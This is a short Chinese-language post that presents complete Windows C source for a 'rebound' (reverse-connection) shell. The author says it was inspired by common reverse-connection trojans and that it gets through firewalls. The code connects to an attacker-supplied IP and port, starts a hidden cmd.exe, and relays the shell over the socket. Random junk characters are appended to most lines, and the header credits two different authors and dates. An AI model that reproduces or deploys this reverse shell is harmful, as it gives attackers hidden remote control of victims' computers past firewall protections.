这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 Vy,^)]
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/* ============================== 1YJC{bO
Rebound port in Windows NT z2hc.29t
By wind,2006/7 S^<g_ q
===============================*/ BC;:
#include ,b;{emX h
#include { e5/+W
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#pragma comment(lib,"wsock32.lib") -cm$[,b6
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void OutputShell(); *[R
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SOCKET sClient; j>/ ,$H
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; Gkxj?)`
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void main(int argc,char **argv) N**g]T
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{ [ $T(WGF
WSADATA stWsaData; 4T<Lgb
int nRet; )){9&5,0:
SOCKADDR_IN stSaiClient,stSaiServer; 3y~r72J
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if(argc != 3) [j:[
{
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printf("Useage:\n\rRebound DestIP DestPort\n"); f5==";eP
return; -+em!g'
} rf%7b8[v
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WSAStartup(MAKEWORD(2,2),&stWsaData); OOz[-j>'Y+
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); V@QK
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stSaiClient.sin_family = AF_INET; \yGsr Bl
stSaiClient.sin_port = htons(0); @M8|(N%
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); vuFBET,
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) \Ro^*4B
{ BiZ=${y
printf("Bind Socket Failed!\n"); z|(+|pV(
return; lM[XS4/TRa
} b4""|P?L
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stSaiServer.sin_family = AF_INET; VCcr3Dx()F
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); *I0-O*Xr
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); tDCw-
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) }O4se"xK
{ $eBX
printf("Connect Error!"); `O8b1-1q~
return; <x),,a=X
} \rV
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OutputShell(); D*Q.G8(
} 5I@w~z
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void OutputShell() DK&h
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{ %&\ jOq~
char szBuff[1024]; Lh-`OmO0>F
SECURITY_ATTRIBUTES stSecurityAttributes; Zf>^4_x3P
OSVERSIONINFO stOsversionInfo; (?b@b[D~4
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; A;u" <KG?
STARTUPINFO stStartupInfo; 5]1h8PW!Y
char *szShell; pBC<u
PROCESS_INFORMATION stProcessInformation; {A o,t+j
unsigned long lBytesRead; 9lo[&^<
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); iYbX
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); n!E2_
stSecurityAttributes.lpSecurityDescriptor = 0; T=YzJyQC)
stSecurityAttributes.bInheritHandle = TRUE; **[Z^$)u(
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); fXQiNm[P
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); ;*[9Q'lI*
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); NS,5/t
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; Z2bcCIq4
stStartupInfo.wShowWindow = SW_HIDE; -)y%~Zn
stStartupInfo.hStdInput = hReadPipe; ib0g3p-Lc
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; #9LzY
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GetVersionEx(&stOsversionInfo); +tN&a
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switch(stOsversionInfo.dwPlatformId) Q^Bt1C
{ '~wpP=<yyF
case 1: :Ld!mRZF
szShell = "command.com"; VZIR4J[\.
break; www`=)A;
default: )OsLrq/
szShell = "cmd.exe"; s/1 #DM"
break; s2v(=
} yO>V/5`
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); 7>
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send(sClient,szMsg,77,0); XL}<1-}
while(1) L6i|:D32p
{ %E27.$E_
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); ".~{:=
if(lBytesRead) uC]Z8&+obb
{ 7=*VpX1
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); [Id}4[={e
send(sClient,szBuff,lBytesRead,0); IGAzE(
} n`;R pr&
else O:.,+,BH
{ T_OF7?
lBytesRead=recv(sClient,szBuff,1024,0); qU[O1bN
if(lBytesRead<=0) break; }o9Aa0$*$
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); ! ]Mc4!E
} RwTzz]
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} g3?U#7i
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return; r[Zq3
}